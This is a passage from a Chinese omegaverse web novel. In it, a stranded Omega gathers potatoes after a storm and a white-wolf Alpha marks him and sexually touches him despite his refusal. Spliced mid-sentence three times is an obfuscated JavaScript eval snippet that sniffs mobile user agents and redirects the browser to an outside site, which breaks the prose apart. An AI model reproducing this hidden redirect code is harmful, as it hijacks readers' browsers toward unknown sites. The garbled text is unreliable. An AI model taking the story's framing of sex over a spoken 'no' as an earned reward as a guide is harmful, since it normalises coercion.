极端天气令人畏惧,连门都不敢出,外界已然变了模样,成片树林被闪电、风暴摧毁,焦黑的焦黑,刮倒的刮倒,一片狼藉。 唯有半成品房子亮着让人心安的灯光。 已经晚上八点多,从中午到现在,天就没亮过。 时诺吹干身体和头发,穿好睡衣从浴室出来,被属于Alpha的信息素笼罩,最近他已经适应。 一进房子,白狼就肆无忌惮释放出信息素,那股带着清新水露的冷冽莲香占据了每一处角落,包括他这间卧室。 现在信息素释放已经不是刻意,而是放松下来后的淡淡逸散。 离得这么近,即使卧室门关着,他也可以感觉到白狼无比强烈的存在。 天气这么不好,附近又没有地方供白狼躲避,一时半会儿,对方应该不会离开。 在浓郁霸道的信息素里,被标记过的时诺倍觉安心。 这是一种前所未有的安全感,即使雷声震耳,他也不觉得有多么可怕,更不会战栗发抖。 躺进干净柔软的被窝,时诺第一次睡了黑甜舒服的一觉。 · 早晨。 大门一打开,雷暴的热灼气息扑面而来,空气像是带着微麻的电流,让人难以适应。 不过房子的智能系统判定,外界电流带来的危险值很低。 时诺站在门口,肆虐过后,大地仿佛被翻了一遍,原本深绿摇曳的草海不复,土块翻上来,坑坑洼洼。 树木伏倒,有的被雷电劈得焦黑,他还看见不少大虫子和小兽的焦黑尸体,一些地下生物被迫露出来,类似蚯蚓的东西在扭动身躯,原本应该湿润的虫躯变得干燥甚至裂开,露出肉粉色的内里。 硕大的树根被从地下卷出来,时诺心下一紧,那他的土豆是不是也遭了殃。 不再打雷刮风,但天上阴云没有散去,气温也降了。 这颗星球没有正式开发,只有一颗通讯卫星围绕旋转,没有气象卫星侦测天气,无法获得较准确的天气预报。 之前挖土豆的时候,他看见西北那边的野地里有不少相同的地上茎,再往远处找找,说不定也有分布。 之前没有全部挖回来,不想遭遇了这么极端的天气。 他有心想过去看看,但那边离得稍远,如果再打雷,无法短时间内跑回来,而且周围一望无际的原野,没有山洞石洞之类可以躲避的地方。 时诺很为难,他之前挖的土豆还有三百左右,看似很多,但心里总觉得不踏实。 大的土豆还好,比他拳头还大,一顿吃一个就能饱,但只有一百来个,剩下两百个土豆都是小的,一顿得吃两三个才能饱,按一天三顿饭,也就能支撑两三个月。 这次风暴范围很大,最起码在他的视力范围内,都可以清晰看到宛如被犁过一遍的地。 野草野菜更是死了不少,地面绿意不再,露出大片大片光秃秃的土。 野草顽强坚韧,应该很快就能长出来。 心里再怎么安慰自己,时诺还是想出门看看土豆,如果有被拔出地面的,他还可以尽早把那些土豆都弄回来。 白狼躺在客厅地毯上,大门一打开,它闻到雷暴气味,不满地甩了下尾巴,但时诺背对着它没有看见。 自己不了解这里的天气变化,但修·埃尔维斯在这里生活了十年之久,应该多少有一点经验。 时诺放轻脚步走进来,看着客厅匍匐的巨兽,心中忐忑不已,但为了谨慎起见,他还是小声开口:“埃尔维斯先生。” 白狼睁开眼睛瞥向他。 时诺有点紧张,结结巴巴说:“我、我想出去一趟,外面的天气,想问一下,还会不会打雷刮风。” 意识到自己说话有点颠三倒四,他底气越来越不足,声音变得更小。 白狼五感超乎常人,听清了他的话,它站起来,掠过时诺走出大门。 在时诺不明所以的时候,它在门外,一双蓝色兽瞳没什么情绪,回头看一眼呆呆的Omega. 时诺反应过来,连忙提了小桶出门,边走边操控光脑,将门窗都关好。 路比之前更难走,到处都是树枝和翻起的凌乱土块石块,还有横倒的大树。 有光脑指明方向,时诺往西北方向走,白狼不紧不慢跟在它后面。 雪白巨兽四肢粗壮有力,修长矫健,远比时诺走得轻松。 还没到目的地,时诺就看见好几株土豆散乱在附近,应该是被狂风卷过来的。 有的土豆已经摔碎了,有的还连在根系上,他连忙过去,将完好的土豆都摘下来,一一装进桶里。 树木发出的雷劈味道还好,没有那么浓郁。 捡完跟前的土豆后,他拎起小桶,在地上捡了一根结实的树枝,在土里戳一戳翻一翻,怕有遗漏的。 土豆生长结果比野菜慢多了,万一秋冬来临,估计等不到新植株长成,多捡几个心里才踏实。 到处搜寻捡起来很慢,时诺抬头,看了一眼白狼所在的方向。 他心中忐忑,怕自己这样耽误太久对方不耐烦。 好在对方看起来不紧不慢的样子,停顿在一片没有乱石树木的干净地方等他,目光懒散看向四周,似乎是在戒备周围。 也许是有点无聊,白狼那条毛茸茸白色的尾巴甩了两下,但并不焦躁。 没有被催促,时诺在白狼望过来之前,垂下眉眼继续寻找土豆。 他有点怕白狼那双幽深的蓝色兽瞳。 一股烧焦的刺鼻味道弥漫,大树粗壮的树身下压了一个全身黑焦的兔子类小兽。 时诺伸手,试图将死掉的兔子拽出来,一触手全是黑灰。 兔子散发出的烧灼味道很难闻,一点肉香都没有,又被大树压扁了半边身体,七零八碎连着些黏糊糊的体内器官。 这场面实在不好看,他皱眉赶紧丢掉兔子,拍了拍手上的黑,幸好只是被雷电劈黑的毛发,没有别的东西。 一直走到之前挖土豆的地方后,时诺看见地上有不少被连根拔起的红皮土豆,连忙去捡去挖。 很多植物都被狂风吹翻,但也有一小部分植物幸运躲过。 十来株土豆的地上茎坚韧,枝条虽然被摧残零落,但地下根系牢牢扎进土里,幸存了一些完好的土豆。 而更多的土豆被狂风卷走卷远,损失了这么多,时诺惋惜不已,早知道,他就早点来摘了。 幸好周围地面也有残落下来的,他拎着小桶到处翻翻找找。 白狼始终跟在不远处,它视线落在蹲下的Omega身上。 比起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682628|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Alpha的体魄,时诺在它眼里是瘦小的,也很弱小,只能靠挖草生存下去,无法捕猎为自己增加肉食。 确实也瘦,只有大腿有点肉。 至于别的地方…… 白狼眼神幽暗,考虑起自己今天的报酬。 · 空气中弥漫着难言的烧灼味道,又起了风,将刺鼻的气味刮散许多。 雷暴摧毁了树林,还活着的各种昆虫从土里钻出来,被强横的信息素威吓之后,飞快向远处逃离。 被砸死电死的小型野兽尸体引来了附近一些幸存下来的食肉者。 善于隐匿的捕猎者藏在倒伏的大树后,时诺的身影出现在兽类瞳孔中。 弱小纤细的Omega没有任何威胁,在几只中型野兽眼里是奇怪、但散发出猎物血肉味道的食物。 直到肩高三米多的白狼悄无声息出现,只站在那里,投来冰冷的注视。 极其敏锐的豹类野兽察觉到危险,顶着暴涌而至的信息素威压缓缓后撤退步,面对兽王,它微微低下头颅,退至安全地带后,转身就跑,头也不回离开了这片区域。 其他几只没有及时退走的野兽,被难以抗衡的强悍信息素压制在原地,腿脚战栗,尾巴也夹起来。 白狼瞥一眼,肉质都不够好,转身不再给予视线。 死里逃生的野兽低低惊叫着,以极快的速度撒腿离开。 时诺听到一点动静,直起腰看过去,但只看见白狼懒散巡视领地的模样。 Alpha的信息素渐渐笼罩,覆盖在这片原野。 两个桶装满土豆,沉甸甸的,周围地上还有不少没捡完的土豆,时诺看了看,放下桶,先把各处散落的土豆都捡起,轻轻丢向桶附近。 土下、草木下也掩盖了不少,他尽量将完整或是没有碎掉的土豆都翻出来,实在离桶远了,怕随手乱丢摔坏,他就近将十来个土豆聚成一小堆。 等找不到散落的土豆以后,他又来到地上茎尚存的一株土豆前,弯腰先试了试,拔不出来,就先拿了木铲松松土。 他忙忙碌碌,白狼在不远处慢悠悠巡视。 地底的土豆无论大小,基本都完好,大的植株有十来个甚至二十个土豆,小一点的植株怎么都有七八个左右。 最后十一株,共摘下一百二十多个完好无损的土豆。 这让时诺松了一口气,除了这一百二十多个,周围零散捡起来的土豆,大约有一百个左右,再加上房子里存的三百,足足有五百多,只要保存得当,足够吃很久了,短时间内不愁食物。 等后面雨水和气温合适,野菜应该也会陆续生长。 能找到的土豆聚了好几堆,时诺拎起装满的两个小桶,打算先把这两桶提回去。 下意识的,他先看了一眼白狼所在的位置,对方已经走远,不知道要去哪里,但信息素的威慑经久不散,附近没有危险了。 他提着沉甸甸的小桶往回走,天还是阴的,冷风吹来,没走出多远,就有零星雨点飘落。 时诺加快脚步,来回跑了好几趟,赶在雨点变大之前,把所有土豆都搬回了房子。 河边。 白狼盯着岸上扑腾乱跳的几条活鱼和数只大虾。 因没有工具装载,它皱了皱眉,极不愿意屈尊将这些水腥气重的东西咬进嘴里带回去。 12. 第 12 章 豆大的雨点噼啪溅在地面,土腥气扑鼻而来,雨势变大后,大地迅速变湿。 金属门内,有一堆倒出来的土豆。 时诺提着两个沉甸甸的小桶,刚进门雨就下大了。 风乱吹,衣服湿了一部分,他放下小桶,正打算脱掉脏鞋,好将桶里的土豆提进储物间,直觉性回头,就看见门外的白狼。 白狼走到近前,伸出一只前爪,在时诺不明所以的目光中,伸爪将一个装满土豆的小桶推倒。 土豆从桶里滚出去,但没有彻底干净,它有点烦躁,用极为粗壮的爪子拍了一下桶底。 小桶里剩下的土豆被拍飞,在空中划出数道轨迹,随后骨碌碌落在地面。 看似轻拍一下,力量却不可小觑,不过力度控制得很好,桶底没有变形。 时诺以为它不喜欢自己往房子里运这些土豆,所以拍打泄愤,一时大气不敢出,神色变得紧张。 白狼用爪子将小桶回正,眼神一瞥,就看见Omega忐忑不已的表情。 它不耐烦等待,也没闲心解释,于是叼起小桶的提手,轻摆一下头,示意时诺跟上。 迈出去的步伐在大雨雨幕中停下。 和Alpha不同,这种纤弱的Omega很娇气,稍微吹点风淋点雨就会生病,一旦生病,它该有的报酬就得推迟。 时诺刚跟出来,就被一条雪白、毛绒绒的大尾巴推进门内。 那一瞬间的触感,雪白狼毛不小心扫过脸颊,和看上去一样柔软,但这根巨型尾巴很有力。 白狼在雨中奔跑,雨水没有给它造成丝毫困扰,如一道白色影子,倏然消失在眼前。 时诺在原地呆了一会儿,把拍飞的土豆捡回来,放在土豆堆里。 他不知道白狼是什么意思,不敢随便把土豆放进储物间,只好蹲在土豆堆前,忐忑等着对方回来。 · 大雨中。 白狼飞快到了岸边,活鱼活虾依旧在蹦跶,试图回到水里。 它眉眼压得低,显然不高兴,很不情愿张嘴,咬住一条鱼丢进桶中,如此反复,将四条鱼和二十来只虾都收入桶里。 雨水沿着它脊背毛发如珠子般滚落,没有丝毫打湿的痕迹,至于脚下湿泥,它习惯了在天地自然间行走,独有一套自己的办法避开甩干净。 鱼虾渴水,在桶里蹦个不停。 白狼叼起小桶提手,回身飞奔。 它想的很简单,Omega总是吃草,浑身瘦巴巴没一点舔头,这让它很不满。 · 门口,时诺坐在小板凳上,用干布把一个又一个土豆上的土擦干净。 厨房传来一声水花响动,是浸泡在盆里的鲜鱼活虾在扑腾。 白狼趴在松软干净的大地毯上小憩。 时诺没忍住,看了它一眼,迅速收回目光,垂下的眉眼有几分羞愧,原来修·埃尔维斯不是嫌弃他的土豆,而是要用小桶去装鱼虾回来,他错解了对方的意思。 又能吃鱼肉虾肉了。 他的心神被食物吸引,想起上次的味道,鲜美难言。 来到这里后,食物的单调和匮乏,让他经常做梦梦到各种美食,尤其吃过虾之后,白灼、清蒸、蒜香、麻辣,油爆、烤炙、涮火锅等,各种大虾的做□□换在梦里出现。 本来想这几天自己再去河边试试,没想到修·埃尔维斯这么好心。 · 中午,绵绵细雨还在下,外面潮湿冰冷,远处雾蒙蒙的。 抽湿系统运转,隔绝了潮气的侵袭,卧室干爽舒适。 午饭时诺吃得心满意足,有鱼有虾,煮好的土豆块都没吃几口,收拾完厨房,又把储物间整理了一下,就回卧室洗了个澡睡觉。 在外面到处挖土豆找土豆,免不了弄脏衣服和身上。 他不止一次庆幸,这栋半成品的房子供水和供能系统都完好无损,不然洗澡会很麻烦。 拉紧窗帘,将室内光调成昏暗模式,时诺钻进被窝就打哈欠。 吃饭之前他询问过修·埃尔维斯要不要一起吃,但对方依旧没理他,因此只能自己吃饭。 正常Alpha和其他人一样,一日三餐都会吃,不过修·埃尔维斯的情况不同,虽然理智尚存,但出现后一直都是用兽形模样,可能习性更接近于大型肉食野兽。 他曾经看过纪录片,很多野外的野兽吃一顿饱餐,就可以支撑一段时间,也许在出现之前,白狼已经进食过。 理智。 这和他之前听说过的不同,在很多传言里,埃尔维斯家族的继承人早已失去理智退化,沦为野兽,甚至攻击性很强,要不是失控过数次,十五岁时在家族中失控造成了严重的后果,也不会被送来这么一个无人星球。 大家族总有些秘密不为人所知,时诺出身小贵族,清楚光鲜亮丽的背后藏着或多或少的阴影。 如今的处境,说他和修·埃尔维斯被流放也不为过,根本接触不到埃尔维斯这个庞大家族的任何事情。 心头的沉重感让他皱起眉,翻了个身,将身上轻柔的被子裹紧,埃尔维斯家族离他太遥远,听着外面雨声,又想起别的。 正常Alpha即便化为兽形,也可以说话,但修·埃尔维斯至今没有开过口,不确定它的嗓子是不是受过伤。 亦或是在这里太久,丧失了语言功能。毕竟修·埃尔维斯独自在这颗星球上待了十年。 外面人人眼中失控难驯的前继承人,其实还留有理智,根本没有彻底野兽化,甚至是一个心地善良的Alpha. 时诺又想起白狼。 昏暗的卧室充斥着Alpha信息素,冷冽香气缠绕着他,让他从心底觉得安全舒适,意识渐渐陷入黑暗,沉沉睡了过去。 不知过了多久,时诺迷迷糊糊中感到有热意袭来。 柔软蓬松、如同棉花一样的毛发扫过肚腹和胸膛,他下意识伸手去摸,手指陷入一片柔软温热的毛发中,仿佛在摸宠物。 他半梦半醒,以为曾经摸过的长毛宠物兔来了,但这只兔子变得很大,几乎压住了他整个人。 直到脖子被舔,粗糙的炙热感让他睁开眼睛。 房间依旧昏暗,墙夹角不大的床被挤满,尽管白狼缩小了一半,肩高只剩一米五,但对时诺来说,依旧是庞然大物。 它挤上床,将时诺囊括在下方。 眼神呆滞了一瞬后,时诺才回过神,他的被子没了,整个人袒露,上身好好穿着的睡衣不翼而飞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682629|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前洗完澡,卧室门反锁上了,他一个人在里面,就按平时习惯,只穿了睡衣上衣。 羞耻心让时诺脸颊和耳朵发烫,整个人僵硬不敢动。 至于白狼,埋头卖力品尝自己的报酬,懒得和Omega对视,也根本不在乎对方的想法。 茶栀花香在紧张中释放,清甜无比,颤颤巍巍的,像极了性命受到威胁的小兽,只能瑟瑟发抖,蜷缩在它身下,任凭索取。 白狼很满意,也迫不及待,将时诺翻了个身,那段白皙细腻的后颈展露在它眼前。 獠牙抵上去,死死咬住Omega的腺体,吸取甜美的信息素液,让它原本有些焦躁的心情瞬间平息下来。 时诺很怕白狼的獠牙,动也不敢动,生怕自己一动,锋利獠牙就会穿透腺体,进而刺穿自己喉咙。 炙热的呼吸在后颈不断扫过,似乎是在深深嗅闻。 等到自己腺体里的信息素液被吮干,一股极为霸道强悍的信息素从后颈腺体注入身体之中。 时诺瞳孔一瞬间放大,身体不由自主战栗、发抖。 信息素强势冲击、guan入身体,后颈腺体很胀,比第一次临时标记还要痛苦,他无法呼吸,只能张开嘴,双眼失去焦距和神采,也失去了力气,细白漂亮的手指想抓住枕头都用不上力。 五分钟后,白狼松开獠牙。 时诺瘫ruan无力,久久不能回神。 只凭临时标记,就可以让Omega发qing,时诺已经僵滞的大脑无法运转,更无法想到这代表着白狼在某一方面只会更惊人的能力。 白狼很满意自己闻到的味道,它用嘴扯下Omega身上唯一的遮羞布。 时诺给它带来了愉悦,它很耐心,没有扯烂那块布。 “不要。” 时诺艰难抬手,但布料已经褪到脚踝处,他阻止不了。 信息素的纠缠产生了最真实的反应。 鱼虾渴水,早已成年的Alpha贪恋Omega的清甜甘液。 如溪水,汩汩流淌,如泉涌,喷发不尽。 分化成Omega,体质自然和正常人有所区别,清澈的水不浊不污,是信息素表现的另一种形态。 “折磨”持续了很久,时诺差点被剥开吃净,生理眼泪不断滑落,也曾尖叫着战栗。 理智回笼的一瞬,他看见丝毫不显狼狈的白狼,自己却在近两个小时里丑态百出,控制不住的泪珠大颗大颗滚落,从眼尾滑进头发中。 悠闲舔了舔嘴的白狼愉悦不已,突然听到微弱沙哑的哭声,它抬眼去看,就见Omega紧紧闭着双眼,眼尾红透。 它歪了歪头,有些不解,于是去嗅时诺脸颊。 临时标记带来的依赖是双向的,之前对Omega的懒于关注变成耐心思考,只是怎么都理解不了这种哭泣。 它今天保护对方出去寻找食物,还给Omega带了鱼虾,今天的报酬原本就应该更丰厚。 对Alpha的靠近,时诺不抵触,有标记在,反而让他更有安全感,他只是太羞耻,根本不敢睁开眼睛。 然而一只大手忽然抚上他脸颊,原本因为巨狼挤上来的压迫感消失,取而代之的,是一具修长健硕的男性躯体。 13. 第 13 章 男人白发蓝眸,一张脸俊朗、冷峻。 昏暗光线勾勒出卓绝流畅的侧脸剪影,鼻梁挺直眉骨立体,喉结突出,是冷硬但性感至极的长相。 他的手很大,修长、骨节分明,是一双十分有力量感的手。 只是很久没用过这样的形态,一时难以适应。 修·埃尔维斯指腹沾到时诺脸上的眼泪,他收回手,看了一眼,用拇指轻轻摩挲濡湿的触感。 久远的记忆告诉他,这是泪水,但对自己来说,泪水是一个从有记忆起就很陌生的东西。 年幼时他只见过那些小Omega哭泣,从未触碰过。 好奇驱使,他身体俯下,凑近在时诺脸颊和眼睛上轻轻嗅闻,随即舔了一口。 咸的。 因为触感明显不同,早在他凑上前乱嗅乱闻时,时诺睁开了眼睛,紧接着被舔了脸,吓到止住了眼泪。 突然变成人形,尽管视线昏暗,时诺也足以瞥见对方相貌的一丝俊朗,但让他呆滞的不是长相,而是压迫感十足的体格,正处于上方,压着自己。 男性Alpha的身体素质本就出色,时诺不是没见过个子高身材好的男人,但从来没有近距离接触过。 尤其是在自己没有蔽体衣物的情况下。 一个活生生的人出现在眼前,和巨兽形态是完全不同的。 而当对方用人形做出和野兽无异的举动,对时诺来说,颇有些惊悚。 野兽形态尚且可以用智商未开化做借口,自欺欺人减少羞耻感,而人形这样直白毫不掩饰的举动,几乎将羞耻推向极端。 二十二年处于文明社会中的教育,即便所谓的贵族也有不堪入目的yu望,但时诺很少接触,很多Alpha在他面前,展现的都是衣冠楚楚的一面。 他上半年才从大学毕业,家里对他的期望,就是高攀一个大家族,正经联姻,进而从中获益,因此即便亲情淡漠,也没有让他直面那些龌龊。 男人健硕但不夸张的身躯炙热有力,即使看不太清,宽肩窄腰的体型难以忽略,一下俯,便将纤细漂亮的Omega整个笼罩覆盖。 时诺因惊悚不敢妄动。 修·埃尔维斯尝过眼泪之后,没有直起身,反而伸手捏了捏Omega细腻白皙的肩头。 手指触碰传来的触感和之前的舔舐完全不同,俊朗冷硬的外表下,是和野兽看见新鲜事物没什么区别的好奇心。 全都捏了一遍后,茶栀花香倏然绽放。 时诺耳朵红透,脸颊也发烫,他想尽量放缓呼吸,却反而更紧张,呼吸变得更急促,到最后闭了闭眼,不再顾忌是否会出更大的丑,大口呼吸汲取氧气。 修·埃尔维斯抬起头,喉咙动了动,又舔去唇边痕迹。 十分钟后。 时诺平静下来,他不知道要怎么和修·埃尔维斯相处,卧室光线昏暗,连对方模样都没看清,就发生了这些事。 然而沉默的更多原因,是对方毫无顾忌的举止。 贵族表面都是光鲜亮丽的,无论涵养是真是假,大部分人都可以维持表面的得体和礼貌。 修·埃尔维斯似乎没受过这方面的教育,粗鲁、直白,一心只按照本能行动。 时诺有些麻木,他记得修·埃尔维斯是九岁以后才出现了身体问题,那么在九岁以前,肯定受过教育。 一个基因优秀的顶级Alpha,记忆力应该也超群,除非脑部曾经受过伤,不然应该会有文明社会的记忆。 “埃尔维斯先生。”羞耻之下,他终于忍不住,忐忑开口,试图避开那双大手。 修·埃尔维斯察觉到抗拒,收回手不再捏Omega的tun部,双手撑在时诺身体两侧,神色看似冰冷淡漠,实际好奇心依旧未消,盯着时诺唇瓣。 安静下来,两人都没开口,室内陷入一阵静默之中。 黯淡光线中,修·埃尔维斯看到时诺转开脸,看向床外的桌椅,那双漂亮含泪的眼睛微微颤动。 许久,他才理解视线乱转,但就是不看向他这边的Omega是因为太过窘迫。 他夜视能力很强,可以清楚看到时诺泛红的身体。 两人此时的姿势依旧亲密,记忆里,Alpha和Omega似乎不应该离得这么近。 修·埃尔维斯撑起身体下床。 时诺这才得以蜷缩起身子,是一个略带防备的姿态。 他想装作什么都没发生,但被子被丢到了地上,根本无法遮盖,房间里除了信息素交融纠缠外,还有另一股无法言说的气息。 想起之前自己出的那些丑,他很想找个缝钻起来。 床边站着的人过于高挑,结实的腿笔直修长,稍稍一瞥,就能窥见昏暗中一身紧实的肌肉轮廓,模模糊糊看不清具体,反而更让身高和体魄显得压迫感十足。 修·埃尔维斯闻到一股带着微涩的甜气,和Omega不同,Alpha野兽的一面让他可以轻易从气味中捕捉到所有信息。 这是一个健康的Omega,已经成年,微涩的甜气代表对方发qing之后,体内做好了受孕的准备。 不过…… 修·埃尔维斯低垂眼眸,在脑海中搜寻记忆。 九岁之后他常常被关在房间或者地下室,十五岁那年被流放到这里,属于人类的意志沉睡,野兽本性让他在荒原和山林中同野兽厮杀搏斗,虽然浑浑噩噩,却很痛快。 撕开猎物后迸溅的鲜血滚烫热烈,大口饮血,抚平了从心底涌上的暴虐情绪,而更多时候的搏杀,并不是为了吃肉饮血,只是情绪使然。 十五六岁时尚且年幼,他刚从家族中出来,直面自然危险的经验太少,和野兽厮杀受过不少伤,战斗让他迅速成长,曾经称霸一方的巨兽、异兽,早两年已经被他扫平。 普通野兽他提不起兴趣,除非来挑衅他,近两年实力的增长,整个星球的陆地上,没有任何可以威胁到他地位的兽王,再加上情绪逐渐稳定下来,便懒得到处奔跑。 以前除了捕猎进食和睡觉,就是找到处找兽王打架,很少注意别的。 尽管以野兽形态生活,但曾经人类社会的经历,不可避免影响着他的思维,闲下来后,他才发现那些野兽和人不一样,会幕天席地交·配。 自然界弱肉强食,强者得到更多青睐和交欢权,不过普通野兽同样直觉敏锐,从没有雌兽敢靠近他,这是野兽一种区别异类的本能。 成年后他具备了Alpha该有的能力,偶尔也会烦躁不已,只是这里找不到任何Omega,连信息素都无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682630|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣泄。 时诺的到来让他警惕,却也确实产生了浓厚的兴趣。 只是,野兽他见过,人和人,却从没见过。 修·埃尔维斯的眼神不由自主落在蜷缩成一团的时诺身上,人可以跪着背对,就和野兽类似,那样的话,似乎不难。 时诺忽然感到一阵不安,他用语音唤醒智能系统:“自然光。” 营造出来的昏暗渐渐消退,外面阴雨没停,光线不如晴天,不过完全可以看清室内场景。 近乎两米的男人赤着上身,腰间围着一块雪白的兽皮,四肢修长,体态舒展随性,腿长个子高,肌肉紧实流畅,身躯比例均衡,堪称完美。 长久以来的野兽习性,让一双海蓝色眼睛带着冰冷的凶悍戾气。 健硕的体魄充满野性,脸又长得极其英俊冷硬,时诺看呆了一瞬。 修·埃尔维斯突然弯腰,伸手捏住时诺发红的耳垂,弯下的腰背肌肉分明。 捏着捏着,他的手又摸上Omega微张的唇瓣,不住摩挲,很快淡粉唇瓣就变得艳红。 “埃尔维斯先生,请、请不要这样。”时诺眼神不敢看对方,声音很小,想往后躲也不敢动作大了,他现在的模样很不雅。 唇上的手指停顿一瞬,重重从下唇擦过后,才抬手离开。 时诺不敢怒也不敢言。 床边的人收回手后,双手交叉抱在胸前,姿态懒散,居高而立看向他,没有任何回避的意思。 他没有衣服,没有被子,只能鼓起勇气开口:“我需要穿衣服。” 闻言,修·埃尔维斯低头看了看地面,随后从地上捡起之前被他脱下的那一小片布料,伸长胳膊递过去。 时诺耳朵更红,小心抓过自己的衣物后,低着脑袋讷讷说:“埃尔维斯先生,我是说,我需要私人空间。” 修不甚在意,转身往外走。 今天的报酬已经超出自己之前所想,足够了,他不是贪得无厌的不公之人。 至于下一次的报酬,他低头避开门框顶部,心不在焉想,Omega的唇很软很粉…… · 床铺一塌糊涂。 洗完澡后,时诺衣服穿得严严实实,忍着羞耻把床铺上的所有东西抱出来,一股脑塞进清洗机里洗。 面向外界的两扇金属大门打开了,难以忽略的身影站在门口,背对着他看向外面。 刚才修·埃尔维斯从他卧室出去的时候,他看见了,太高了,比门框还高,需要低头才能出去。 他住的房间是佣人房,无论房门还是室内空间都不算大,不过大门和客厅餐厅规格都很高,是给对方兽形设计的,完全不需要低头弯腰。 修·埃尔维斯腰间的兽皮很眼熟,雪白柔软,应该是他兽形的皮毛拟态。 时诺没敢多看,低下头又回到卧室,心想修·埃尔维斯的人形,应该有两米,在Alpha中也属于佼佼者。 门反锁上了。 不过他心里清楚,只要对方想进来,一道门锁拦不住。 时诺坐在床边,抬手摸了摸酸胀的后颈,这次临时标记咬的有点重,注入的信息素液也太多,有点难受。 没等他估算出腺体什么时候可以恢复正常,惊恐想起一件事,他的发情期快到了。 14. 第 14 章 二十岁成年之后,发情期每年一次,为期三天,时诺去年和前年经历过,有抑制剂帮助,熬过三天不算太难。 如果异星球的各方面环境对他身体没有影响,发情期没推迟的话,只剩一个月了。 可他现在没有抑制剂,那些人只给了他一些食物和衣服,一支抑制剂都没有准备。 发情期一旦到来,要么硬抗熬过去,要么被标记。 处于发情期的信息素和平时不同,会引来Alpha. 生理机制的悲哀会让身体渴求安抚,但也有不少可以生扛过去并且保持清醒的Omega. 文明演化至今,原本处于弱势的Omega群体出现了许多熠熠发光的明珠,那些人无一不拥有坚韧顽强的性格,以及不输Alpha的刚强意志。 可时诺并不是这样的性格,他软弱,甚至可欺。 成年后还好一点,以前被欺负了只会掉眼泪,好在家里有一点小背景,他受的欺负不过是孩子间的小打小闹,分化后Omega的第二性别,再加上十五岁之后相貌逐渐出色,同龄的Alpha便总是以谦让和保护的姿态出现。 在这里,只有一个Alpha,幸好只有一个。 Omega发情后,会让嗅闻到味道的Alpha大打出手,像野兽一样争夺交欢权。 卧室里属于修·埃尔维斯的信息素霸道盘桓,时诺舔了舔有点干的唇,一想到他的发情期还有一个月,心都抖了抖。 修·埃尔维斯的yu望表达很直白,从不掩饰,即便到现在为止,对方还没表现出更进一步的迹象,依旧让他感到极度不安。 和普通野兽不同,Alpha化为兽形,会自然而然掩盖性征,不会像真正的野兽那样暴露无余。 白狼形态时,无法看出对方是否有反应。 似乎近距离接触时,也没有感受到。 时诺发了一会儿呆,想起什么,打开腕上光脑,但信号依旧微弱,甚至一格都没有,出现了灰色的x号。 想上星网购买抑制剂,空运投放到这里都不行。 水分的缺失让他感到干渴,房间里没有安装常见的嵌墙饮水孔,只能在厨房接饮用水,他强忍一阵后,还是拿起桌上空水杯出去了。 时诺脚步很轻,带着忐忑打开卧室门,他往厨房走,不用转头就可以看见空荡荡一览无余的客厅。 修·埃尔维斯消失,取而代之的,是侧躺在大地毯上的巨狼。 悄悄松一口气,时诺见白狼耳朵动了动,连眼睛都没睁开,他没有出声,进厨房接了一杯温水大口大口喝起来。 白狼似乎更容易接触,起码,对方一身雪白皮毛覆盖,不像人形时,只有腰间围着兽皮。 · 遭受雷暴和飓风摧残的大地,在一场阴雨过后,渐渐回转。 不过三天时间,地面就出现稀疏绿苗,野草的生命力实在旺盛,这给时诺带来了好消息,只要野草勃勃生长,后面就不会缺野菜吃。 之前在冷储柜里放的新鲜野菜吃完了,他还有很多野菜干和土豆。 不用出门挖野菜找食物,让习惯了这种忙碌生活的时诺一下子无措起来,没有任何事情做。 如果是以前,他还可以窝在旧沙发里发呆出神。 白狼占据了客厅地毯,不是趴着就是躺着,昨天白天出去了一趟,傍晚才回来,不知道是不是外出捕猎。 时诺除了吃饭喝水以外,不怎么出卧室。 这几天修·埃尔维斯没有再进来,他以为夜里他会警惕难以安眠,实际有Alpha在附近,也有充足的A信息素萦绕,像构筑起坚固堡垒一样,被标记的身体处于舒适放松的安全区域,夜晚睡得很香。 他后颈腺体恢复如常,不再难受,体内的Alpha信息素依旧浓郁。 时诺后知后觉,自从第一次被临时标记后,白狼就一直重复,始终没让标记消失。 典型的占有欲,在一对AO中很常见。 修·埃尔维斯存在理智,也没有失去人形,对方应该知道自己被送来的原因,至于两人的婚姻关系,他不确定对方是否知道。 不过这已经不重要,两人之间有了临时标记的实际关系。 思绪杂乱,时诺打开窗户透气,风从外面吹进来,他坐在床上出神。 修·埃尔维斯对他来说和陌生人无异,对方的举动也让他迷惑,有时候觉得是个很善良的好人,但修·埃尔维斯又从来不掩饰或克制yu望。 神思回转,他忽然有了一点理解。 